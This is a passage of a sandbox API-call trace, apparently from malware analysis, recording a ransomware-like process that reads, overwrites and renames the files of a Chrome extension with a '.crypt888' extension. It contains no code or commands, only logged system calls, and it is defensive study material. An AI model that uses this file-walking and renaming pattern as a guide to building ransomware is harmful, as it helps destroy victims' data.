HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.crypt888", lpFilePart=0x0) returned 0xab [0075.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0075.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), fInfoLevelId=0x0, lpFileInformation=0x39ec0c | out: lpFileInformation=0x39ec0c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836b6b00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836b9210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe15f7e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x7c40)) returned 1 [0075.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0075.304] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.crypt888")) returned 1 [0075.305] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js", nBufferLength=0x105, lpBuffer=0x39e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js", lpFilePart=0x0) returned 0x9a [0075.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0075.305] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.305] GetFileType (hFile=0x174) returned 0x1 [0075.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0075.305] GetFileType (hFile=0x174) returned 0x1 [0075.305] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x2adeb [0075.305] ReadFile (in: hFile=0x174, lpBuffer=0x373b9b0, nNumberOfBytesToRead=0x2adeb, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x373b9b0*, lpNumberOfBytesRead=0x39ebb8*=0x2adeb, lpOverlapped=0x0) returned 1 [0075.307] CloseHandle (hObject=0x174) returned 1 [0075.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js", nBufferLength=0x105, lpBuffer=0x39e5f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js", lpFilePart=0x0) returned 0x9a [0075.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0075.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.328] GetFileType (hFile=0x174) returned 0x1 [0075.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0075.329] GetFileType (hFile=0x174) returned 0x1 [0075.329] WriteFile (in: hFile=0x174, lpBuffer=0x3811f98*, nNumberOfBytesToWrite=0x2adf0, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x3811f98*, lpNumberOfBytesWritten=0x39eba8*=0x2adf0, lpOverlapped=0x0) returned 1 [0075.332] CloseHandle (hObject=0x174) returned 1 [0075.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js", lpFilePart=0x0) returned 0x9a [0075.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.crypt888", lpFilePart=0x0) returned 0xa3 [0075.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0075.334] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), fInfoLevelId=0x0, lpFileInformation=0x39ec0c | out: lpFileInformation=0x39ec0c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836c2e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836c5560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe1abaa0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2adf0)) returned 1 [0075.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0075.335] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.crypt888")) returned 1 [0075.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js", nBufferLength=0x105, lpBuffer=0x39e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js", lpFilePart=0x0) returned 0x9c [0075.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0075.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.336] GetFileType (hFile=0x174) returned 0x1 [0075.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0075.336] GetFileType (hFile=0x174) returned 0x1 [0075.337] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x794cf [0075.338] ReadFile (in: hFile=0x174, lpBuffer=0x383cda8, nNumberOfBytesToRead=0x794cf, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x383cda8*, lpNumberOfBytesRead=0x39ebb8*=0x794cf, lpOverlapped=0x0) returned 1 [0075.369] CloseHandle (hObject=0x174) returned 1 [0075.417] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js", nBufferLength=0x105, lpBuffer=0x39e5f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js", lpFilePart=0x0) returned 0x9c [0075.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0075.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.421] GetFileType (hFile=0x174) returned 0x1 [0075.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0075.421] GetFileType (hFile=0x174) returned 0x1 [0075.421] WriteFile (in: hFile=0x174, lpBuffer=0x375c270*, nNumberOfBytesToWrite=0x794d0, lpNumberOfBytesWritten=0x39eba8, lpOverlapped=0x0 | out: lpBuffer=0x375c270*, lpNumberOfBytesWritten=0x39eba8*=0x794d0, lpOverlapped=0x0) returned 1 [0075.430] CloseHandle (hObject=0x174) returned 1 [0075.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js", lpFilePart=0x0) returned 0x9c [0075.436] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.crypt888", lpFilePart=0x0) returned 0xa5 [0075.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0075.436] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), fInfoLevelId=0x0, lpFileInformation=0x39ec0c | out: lpFileInformation=0x39ec0c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836ca380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836cf1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe2902e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x794d0)) returned 1 [0075.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0075.436] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.crypt888")) returned 1 [0075.437] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js", nBufferLength=0x105, lpBuffer=0x39e610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js", lpFilePart=0x0) returned 0x9a [0075.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb04) returned 1 [0075.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.438] GetFileType (hFile=0x174) returned 0x1 [0075.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb00) returned 1 [0075.438] GetFileType (hFile=0x174) returned 0x1 [0075.438] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ec0c | out: lpFileSizeHigh=0x39ec0c*=0x0) returned 0x941 [0075.438] ReadFile (in: hFile=0x174, lpBuffer=0x26b4998, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ebb8, lpOverlapped=0x0 | out: lpBuffer=0x26b4998*, lpNumberOfBytesRead=0x39ebb8*=0x941, lpOverlapped=0x0) returned 1 [0075.444] CloseHandle (hObject=0x174) returned 1 [0075.487] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js", nBufferLength=0x105, lpBuffer=0x39e5f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js", lpFilePart=0x0) returned 0x9a [0075.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaec) returned 1 [0075.487] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.489] GetFileType (hFile=0x174) returned 0x1 [0075.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eae8) returned 1 [0075.489] GetFileType (hFile=0x174) returned 0x1 [0075.489] WriteFile (in: hFile=0x174, lpBuffer=0x2705938*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x39eb7c, lpOverlapped=0x0 | out: lpBuffer=0x2705938*, lpNumberOfBytesWritten=0x39eb7c*=0x950, lpOverlapped=0x0) returned 1 [0075.490] CloseHandle (hObject=0x174) returned 1 [0075.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js", lpFilePart=0x0) returned 0x9a [0075.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.crypt888", lpFilePart=0x0) returned 0xa3 [0075.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb90) returned 1 [0075.492] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), fInfoLevelId=0x0, lpFileInformation=0x39ec0c | out: lpFileInformation=0x39ec0c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836d3fc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x836d66d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe328860, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x950)) returned 1 [0075.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb8c) returned 1 [0075.492] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.crypt888")) returned 1 [0075.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0075.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup", lpFilePart=0x0) returned 0x91 [0075.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\", lpFilePart=0x0) returned 0x92 [0075.493] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a8a8 [0075.500] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.500] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.500] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.501] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.501] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.501] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.501] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.501] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.501] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.501] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0075.502] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0075.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0075.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0075.503] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0075.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup", lpFilePart=0x0) returned 0x91 [0075.503] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\", lpFilePart=0x0) returned 0x92 [0075.503] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 